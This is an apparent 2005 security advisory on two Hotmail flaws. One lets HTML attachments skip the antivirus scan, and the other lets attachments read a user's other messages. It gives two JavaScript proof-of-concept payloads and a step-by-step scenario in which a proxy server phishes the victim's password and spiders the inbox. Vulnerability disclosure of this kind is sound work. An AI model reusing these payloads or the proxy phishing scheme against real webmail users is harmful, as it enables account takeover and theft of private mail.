26, of April, 2005

Hotmail Antivirus Attachment Bypass.
Hotmail Cross Site Message Explore.

Hotmail is one of the sites who receive more attacks from Hackers, and it's supposed to be one of the more secure sites I have seen. But as some people say, you will never get security at 100%. The risk is every time out there.

- **Background**

I was testing this until I can get some working code, the authorization and validation of the site is one of the better that I seen on a mailing system, I never heard about vulnerabilities of hotmail as in others systems, I just have knowledge of two flaws discovered. One on 1999 is from George Guninski, and the other when the pwdreset function make its public, every year hotmail is updated, and getting more secure, and it's hard to believe that no one have found this before.

- **Description**

The flaws are made when the user seems the attachment, we can execute, code on the user machine, this could result in information disclosure, and credentials exposure.

- **Analysis**

Hotmail Antivirus Attachment Bypass.

This is possible thanks to the way that Hotmail manage HTML attachments, when we send a file with html content, hotmail will try open it in a pop up windows after McAfee antivirus check is made, so here we have access to execute some arbitrary JavaScript code.

The link for the first attachment usually is like:

http://by17fd.bay17.hotmail.msn.com/cgi-bin/getmsg?curmbox=F000000001&a=SessionID&msg=MSGID&start=VAR&len=VAR&mimepart=Number&vscan=scan

If we seen the next attachment of the file will be the same link but mimepart is the next one number, so what happen if we ask for the link without the "vscan=scan" at the end of the line?

Usually we could not make this, but if we take our URL with the JavaScript code, and recreate the URL with the next mimepart, and without the “vscan=scan”, we can ask for a window.open(Fakedurl); and the result is that the next attachment is called without the needed to pass the antivirus test of hotmail.

Risk: High

This could result in a serious damage for users.

Proof of Concept

```
<html>
<head>
</head>
<body>
<script>
str1=document.URL;
str2=str1.split("?");
str3=str2[1];
str4=str3.split("&");
str5=str4[1]+"&"+str4[2]+"&"+str4[3]+"&"+str4[4]+"&mimepart=";
str6=str4[5];
str7=str6.split("=");
str8=str7[1];
str9=parseInt(str8)+1;
str10=str5+str9;
str11="http://by17fd.bay17.hotmail.msn.com/cgi-bin/getmsg?curmbox=F000000001&";
str12=str11+str10;
window.open(str12);
</script>
Hi this is my proof of concept!.
</body>
</html>
```

Hotmail Cross Site Message Explore.

This is possible thanks to the way that Hotmail manage HTML attachments, when we send a file with html content, hotmail will try open it in a pop up windows after McAfee antivirus check is made, so here we have access to execute some arbitrary JavaScript code.

And plus to this, hotmail uses the next two functions to pass from one message to another:

Going to previous message:
javascript:S('getmsg','','','','','MSGID','','','prev','')

Going to Next message:
javascript:S('getmsg','','','','','MSGID','','','next','')

As we can see, we only need to pass to the function the actual message ID, and call it, and we will have next or previous message on screen, without knowledge of the MSGID of the next or previous message.

So if we include arbitrary JavaScript code on the attachment asking for the next message, (we can use, hotmail function, or just make our own function for this), we can get the all the others messages in account.

Risk: High

This could result in a serious damage for users or/and information disclosure.

Proof of Concept

```
<html>
<head>
</head>
<body>
<script>
str1=document.URL;
str2=str1.split("?");
str3=str2[1];
str4=str3.split("&");
str5="http://by17fd.bay17.hotmail.msn.com/cgi-
bin/getmsg?msg=&start=&len=&mfs=&cmd=next&lastmsgid=";
str6=str4[2];
str7=str6.split("=");
str8=str7[1];
str9="&msgread=&etype=&wo=";
str10=str5+str8+str9+"&"+str4[0]+"&"+str4[1]
window.open(str10);
</script>
hola napa
</body>
</html>
```

- **Reach**

Imagine this situation.

This is a Proof of Concept Situation.

This is just a test, and an example, more ways could be more dangerous. But I don't think on expose them. Also the POC of the application I mention will not be exposed for security reasons.

More than 50% of the users could fall on this.

1. One user opens an attachment html from one friend.

2. The windows opens, and the user only seen that hotmail, with hotmail URL, ask again just for the password, because the session remember your mail actual account.

3. At the background, attach have frames to not change the URL user seems, get the original URL, and call some application on one server, with the URL as parameter.

4. This server asks for the page of hotmail with the URL reconstructed for call the same message.

5. Hotmail responds the login page but only ask the password.

6. Application on server acting as a proxy replacing the post or get functions to point to the server application, sending the user, and the password as news parameters for the application.

7. The server logs in as the user, and continues acting like a proxy, for all session or until the windows gets closed by user, and logs all information about the session. Or just send a page with close statement, after the password has been logged.

Normal users don't see the difference, but we already have all information for use the account of the victim user. Or just the application can spider, the inbox of them and save them to a database.

Luis Alberto Cortes Zavala
Senior Security Consultant
luis.cortes@hypersec.co.uk
http://www.hypersec.co.uk